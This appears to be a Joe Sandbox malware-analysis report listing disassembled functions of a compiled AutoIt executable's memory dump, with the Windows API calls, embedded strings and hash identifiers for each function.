__wcsnicmp.LIBCMT ref: 0017C8C6
__wcsnicmp.LIBCMT ref: 0017C8DA
__wcsnicmp.LIBCMT ref: 0017C8EE

Strings

#cs, xrefs: 0017C7DB, 0017C8C0
#pragma compile, xrefs: 0017C73B
#comments-start, xrefs: 0017C7C3, 0017C8AC
#comments-end, xrefs: 0017C8D4
#requireadmin, xrefs: 0017C76B
#OnAutoItStartRegister, xrefs: 0017C783
#ce, xrefs: 0017C8E8
#notrayicon, xrefs: 0017C753
#include-once, xrefs: 0017C79B
Cannot parse #include, xrefs: 001E3482
Unterminated group of comments, xrefs: 001E3475
#include, xrefs: 0017C7AF
Bad directive syntax error, xrefs: 001E346D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: c96367ed9898a78d0636b1a5e8e53c795a6a659100898f82fc2c1ac33ddfcded
Instruction ID: 1c6322f942f6818c7b7af3e0bbf71584cce6804ce412bf886c131b80a65ca55f
Opcode Fuzzy Hash: c96367ed9898a78d0636b1a5e8e53c795a6a659100898f82fc2c1ac33ddfcded
Instruction Fuzzy Hash: 6A61FC316407127BDB29AA649C83FBA33BCAF26740F144029F959A71C3EF60DA51D6E1

Function 001DC4F9 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 447windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 001DC598
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 001DC64E
SendMessageW.USER32(?,00001102,00000002,?), ref: 001DC669
SendMessageW.USER32(?,000000F1,?,00000000), ref: 001DC925

Strings

0, xrefs: 001DC6AC

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 0b25ded4791048787df18da4b93f6b100455dbbb0f841259b16a7e4f9d6c4068
Instruction ID: d9d0b2893441344e8279706c2dd907c6f743554a4e758bf9b5ef263c2fd020cc
Opcode Fuzzy Hash: 0b25ded4791048787df18da4b93f6b100455dbbb0f841259b16a7e4f9d6c4068
Instruction Fuzzy Hash: CEF1D271204342AFE7258F24D889BAABBE5FF49354F080A2AF584D73A1D774D940DB92

Function 001D6189 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0020DBF0), ref: 001D6245

Strings

CHECK, xrefs: 001D6487
GETCURRENTCOL, xrefs: 001D6520
UNCHECK, xrefs: 001D649D
TABLEFT, xrefs: 001D62A3
ISENABLED, xrefs: 001D6288
GETCURRENTSELECTION, xrefs: 001D63FF
HIDEDROPDOWN, xrefs: 001D631C
GETSELECTED, xrefs: 001D64BD
FINDSTRING, xrefs: 001D6392
ADDSTRING, xrefs: 001D6332
SETCURRENTSELECTION, xrefs: 001D63D2
EDITPASTE, xrefs: 001D6557
GETLINE, xrefs: 001D6587
DELSTRING, xrefs: 001D6365
GETCURRENTLINE, xrefs: 001D6500
SELECTSTRING, xrefs: 001D6422
SENDCOMMANDID, xrefs: 001D65C6
TABRIGHT, xrefs: 001D62B9
CURRENTTAB, xrefs: 001D62D9
ISCHECKED, xrefs: 001D6455
SHOWDROPDOWN, xrefs: 001D62FC
ISVISIBLE, xrefs: 001D6251
GETLINECOUNT, xrefs: 001D64E0

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharUpper
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 3964851224-45149045
Opcode ID: b9c10bb9e84915ab2e5095b2b2486700cd42cec8f450fe70cc88b796e78a3542
Instruction ID: 1309174593e4cfd885cdffd322444abd405a7d012431d0f45c37e8315edd1d4f
Opcode Fuzzy Hash: b9c10bb9e84915ab2e5095b2b2486700cd42cec8f450fe70cc88b796e78a3542
Instruction Fuzzy Hash: D0C195342142119FCB08FF54D451A6E77E6AFA5394F04886EF8865B396DF30DE4ACB82

Function 001DD385 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 001DD3BE
SetTextColor.GDI32(?,?), ref: 001DD3C2
GetSysColorBrush.USER32(0000000F), ref: 001DD3D8
GetSysColor.USER32(0000000F), ref: 001DD3E3
CreateSolidBrush.GDI32(?), ref: 001DD3E8
GetSysColor.USER32(00000011), ref: 001DD400
CreatePen.GDI32(00000000,00000001,00743C00), ref: 001DD40E
SelectObject.GDI32(?,00000000), ref: 001DD41F
SetBkColor.GDI32(?,00000000), ref: 001DD428
SelectObject.GDI32(?,?), ref: 001DD435
InflateRect.USER32(?,000000FF,000000FF), ref: 001DD454
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 001DD46B
GetWindowLongW.USER32(00000000,000000F0), ref: 001DD480
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 001DD4A8
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 001DD4CF
InflateRect.USER32(?,000000FD,000000FD), ref: 001DD4ED
DrawFocusRect.USER32(?,?), ref: 001DD4F8
GetSysColor.USER32(00000011), ref: 001DD506
SetTextColor.GDI32(?,00000000), ref: 001DD50E
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 001DD522
SelectObject.GDI32(?,001DD0B5), ref: 001DD539
DeleteObject.GDI32(?), ref: 001DD544
SelectObject.GDI32(?,?), ref: 001DD54A
DeleteObject.GDI32(?), ref: 001DD54F
SetTextColor.GDI32(?,?), ref: 001DD555
SetBkColor.GDI32(?,?), ref: 001DD55F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 605dcc08b1ad75e3d746645c5d1589bb7f83b03a59537c90b2862e9564af5989
Instruction ID: 1b9613b202492b4367c87b0cfd9c055a288f6d8f446fbeccc86a3f942b2eca98
Opcode Fuzzy Hash: 605dcc08b1ad75e3d746645c5d1589bb7f83b03a59537c90b2862e9564af5989
Instruction Fuzzy Hash: C7511B72900218BFDF119FA8EC48EBE7BBAFB09320F214515F915AB2A1D7759980DB50

Function 001DB4D4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 001DB5C0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 001DB5D1
CharNextW.USER32(0000014E), ref: 001DB600
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 001DB641
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 001DB657
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 001DB668
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 001DB685
SetWindowTextW.USER32(?,0000014E), ref: 001DB6D7
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 001DB6ED
SendMessageW.USER32(?,00001002,00000000,?), ref: 001DB71E
_memset.LIBCMT ref: 001DB743
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 001DB78C
_memset.LIBCMT ref: 001DB7EB
SendMessageW.USER32 ref: 001DB815
SendMessageW.USER32(?,00001074,?,00000001), ref: 001DB86D
SendMessageW.USER32(?,0000133D,?,?), ref: 001DB91A
InvalidateRect.USER32(?,00000000,00000001), ref: 001DB93C
GetMenuItemInfoW.USER32(?), ref: 001DB986
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 001DB9B3
DrawMenuBar.USER32(?), ref: 001DB9C2
SetWindowTextW.USER32(?,0000014E), ref: 001DB9EA

Strings

0, xrefs: 001DB95F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 6807b4ce2ba39a367cc79e076a623152fb0b9682d31956e6210653992ccb93b1
Instruction ID: 6ca27f8da1b13dd1644475dcf5a7043a8045e6fabd8e43a7a8b010ef400e209c
Opcode Fuzzy Hash: 6807b4ce2ba39a367cc79e076a623152fb0b9682d31956e6210653992ccb93b1
Instruction Fuzzy Hash: 58E17CB1904218EBDF209F91DCC4AFE7BB9EF05714F118156F91AAB290DB708A81DF60

Function 001D744C Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 001D7587
GetDesktopWindow.USER32 ref: 001D759C
GetWindowRect.USER32(00000000), ref: 001D75A3
GetWindowLongW.USER32(?,000000F0), ref: 001D7605
DestroyWindow.USER32(?), ref: 001D7631
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 001D765A
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 001D7678
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 001D769E
SendMessageW.USER32(?,00000421,?,?), ref: 001D76B3
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 001D76C6
IsWindowVisible.USER32(?), ref: 001D76E6
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 001D7701
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 001D7715
GetWindowRect.USER32(?,?), ref: 001D772D
MonitorFromPoint.USER32(?,?,00000002), ref: 001D7753
GetMonitorInfoW.USER32 ref: 001D776D
CopyRect.USER32(?,?), ref: 001D7784
SendMessageW.USER32(?,00000412,00000000), ref: 001D77EF

Strings

0, xrefs: 001D7532
(, xrefs: 001D7762
tooltips_class32, xrefs: 001D7653

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 12956bbbfa0ae69413f3b39d4f0f160f6872019666004346520b3019c932ffa7
Instruction ID: 5d8e59ecb3ef001bb875812e1974893a46f4ac03d807e920cd5a4b85ba37b965
Opcode Fuzzy Hash: 12956bbbfa0ae69413f3b39d4f0f160f6872019666004346520b3019c932ffa7
Instruction Fuzzy Hash: 24B19171608340AFDB04DF64D948B6ABBE5FF88310F00891EF5999B291EB70E845CB92

Function 0018A756 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0018A839
GetSystemMetrics.USER32(00000007), ref: 0018A841
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0018A86C
GetSystemMetrics.USER32(00000008), ref: 0018A874
GetSystemMetrics.USER32(00000004), ref: 0018A899
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 0018A8B6
AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 0018A8C6
CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0018A8F9
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 0018A90D
GetClientRect.USER32(00000000,000000FF), ref: 0018A92B
GetStockObject.GDI32(00000011), ref: 0018A947
SendMessageW.USER32(00000000,00000030,00000000), ref: 0018A952

Part of subcall function 0018B736: GetCursorPos.USER32(000000FF), ref: 0018B749
Part of subcall function 0018B736: ScreenToClient.USER32(00000000,000000FF), ref: 0018B766
Part of subcall function 0018B736: GetAsyncKeyState.USER32(00000001), ref: 0018B78B
Part of subcall function 0018B736: GetAsyncKeyState.USER32(00000002), ref: 0018B799

SetTimer.USER32(00000000,00000000,00000028,0018ACEE), ref: 0018A979

Strings

AutoIt v3 GUI, xrefs: 0018A8F1

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: a37df28e2d0181d689602e5b00e5507835a31181738b2925fe65d6c04a6acc09
Instruction ID: 9139a8b7fee87ddcde50e42d0201d27a697382a65a4e46880e888351a53c35e1
Opcode Fuzzy Hash: a37df28e2d0181d689602e5b00e5507835a31181738b2925fe65d6c04a6acc09
Instruction Fuzzy Hash: 3AB15E71A0020AAFEB14EFA8DC45BAD7BB5BF08314F11422AFA1596290DB70D951CF55

Function 001D69C5 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 001D6A52
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 001D6B12

Strings

SELECTCLEAR, xrefs: 001D6B89
SELECTALL, xrefs: 001D6B71
SELECT, xrefs: 001D6BA4
FINDITEM, xrefs: 001D6C7D
DESELECT, xrefs: 001D6BF8
GETSELECTED, xrefs: 001D6C38
SELECTINVERT, xrefs: 001D6BDA
GETSELECTEDCOUNT, xrefs: 001D6AF5
GETTEXT, xrefs: 001D6ABB
GETITEMCOUNT, xrefs: 001D6A80
GETSUBITEMCOUNT, xrefs: 001D6A9D
VIEWCHANGE, xrefs: 001D6CC9
ISSELECTED, xrefs: 001D6B1D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 58f82714689a782f80f7a117a2257d1bfaf056700610ff019492aeb6191e90a7
Instruction ID: 00050ef257fb7789395f148d6dd838c339751ddd6dba60d7d1411105fffb89ef
Opcode Fuzzy Hash: 58f82714689a782f80f7a117a2257d1bfaf056700610ff019492aeb6191e90a7
Instruction Fuzzy Hash: 71A170302143019FCB18FF54D851A6AB3A6FF65354F14896EF8969B392DB30ED06CB81

Function 001ADD46 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 001ADD87
__swprintf.LIBCMT ref: 001ADE28
_wcscmp.LIBCMT ref: 001ADE3B
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 001ADE90
_wcscmp.LIBCMT ref: 001ADECC
GetClassNameW.USER32(?,?,00000400), ref: 001ADF03
GetDlgCtrlID.USER32(?), ref: 001ADF55
GetWindowRect.USER32(?,?), ref: 001ADF8B
GetParent.USER32(?), ref: 001ADFA9
ScreenToClient.USER32(00000000), ref: 001ADFB0
GetClassNameW.USER32(?,?,00000100), ref: 001AE02A
_wcscmp.LIBCMT ref: 001AE03E
GetWindowTextW.USER32(?,?,00000400), ref: 001AE064
_wcscmp.LIBCMT ref: 001AE078

Strings

%s%u, xrefs: 001ADE22

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
String ID: %s%u
API String ID: 3119225716-679674701
Opcode ID: d9fb72bc723615c54776d0c5245e93cb311f71fc566f798c5ac0a1423e330adc
Instruction ID: b4d4ba6449097dd1631e4f446520556d3538a87ad965f4881c42a5fc86d5fb91
Opcode Fuzzy Hash: d9fb72bc723615c54776d0c5245e93cb311f71fc566f798c5ac0a1423e330adc
Instruction Fuzzy Hash: B9A1FE75204706AFDB14DF60D884BAAB7E9FF15310F008629F9AAC7190DB30EA46CB91

Function 001AE69D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 001AE6E1
_wcscmp.LIBCMT ref: 001AE6F2
GetWindowTextW.USER32(00000001,?,00000400), ref: 001AE71A
CharUpperBuffW.USER32(?,00000000), ref: 001AE737
_wcscmp.LIBCMT ref: 001AE755
_wcsstr.LIBCMT ref: 001AE766
GetClassNameW.USER32(00000018,?,00000400), ref: 001AE79E
_wcscmp.LIBCMT ref: 001AE7AE
GetWindowTextW.USER32(00000002,?,00000400), ref: 001AE7D5
GetClassNameW.USER32(00000018,?,00000400), ref: 001AE81E
_wcscmp.LIBCMT ref: 001AE82E
GetClassNameW.USER32(00000010,?,00000400), ref: 001AE856
GetWindowRect.USER32(00000004,?), ref: 001AE8BF

Strings

@, xrefs: 001AE6BC
ThumbnailClass, xrefs: 001AE7A9, 001AE829

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: f658e2005b9459dbb37fa126c12f407839db64464f4a470b3f931bb358661c4b
Instruction ID: 00660bc61e2b5d240162044a04ca991feaf0b26bb45f2b17f2e4a74213fb2a80
Opcode Fuzzy Hash: f658e2005b9459dbb37fa126c12f407839db64464f4a470b3f931bb358661c4b
Instruction Fuzzy Hash: FE81CF35008309ABDB05CF54C881FBA7BE9FF55318F14846AFD899A092DB34DD86CBA1

Function 001AE4EA Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 001AE549

Strings

[LAST, xrefs: 001AE5F6
[ACTIVE, xrefs: 001AE536
[CLASS:, xrefs: 001AE599
REGEXP=, xrefs: 001AE55E
[ALL, xrefs: 001AE5EF
LAST, xrefs: 001AE50E
[HANDLE:, xrefs: 001AE555
ALL, xrefs: 001AE5DD
[REGEXPTITLE:, xrefs: 001AE571
ACTIVE, xrefs: 001AE524
CLASSNAME=, xrefs: 001AE586
HANDLE=, xrefs: 001AE542

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: a446efc441bbcb19d9ac0da43ac347b2b7c4c5e466a23def4cb992326e7ef61d
Instruction ID: d77db622cee70a2c5acfd7b9d57d326f4ff96299624a8e4e1c8803c647bbd216
Opcode Fuzzy Hash: a446efc441bbcb19d9ac0da43ac347b2b7c4c5e466a23def4cb992326e7ef61d
Instruction Fuzzy Hash: 2631CE39A48219F6CB18EBA0ED13EAE73B95F32714F20442AF545710D5FFA2AF188651

Function 001AF898 Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 001AF8AB
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 001AF8BD
SetWindowTextW.USER32(?,?), ref: 001AF8D4
GetDlgItem.USER32(?,000003EA), ref: 001AF8E9
SetWindowTextW.USER32(00000000,?), ref: 001AF8EF
GetDlgItem.USER32(?,000003E9), ref: 001AF8FF
SetWindowTextW.USER32(00000000,?), ref: 001AF905
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 001AF926
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 001AF940
GetWindowRect.USER32(?,?), ref: 001AF949
SetWindowTextW.USER32(?,?), ref: 001AF9B4
GetDesktopWindow.USER32 ref: 001AF9BA
GetWindowRect.USER32(00000000), ref: 001AF9C1
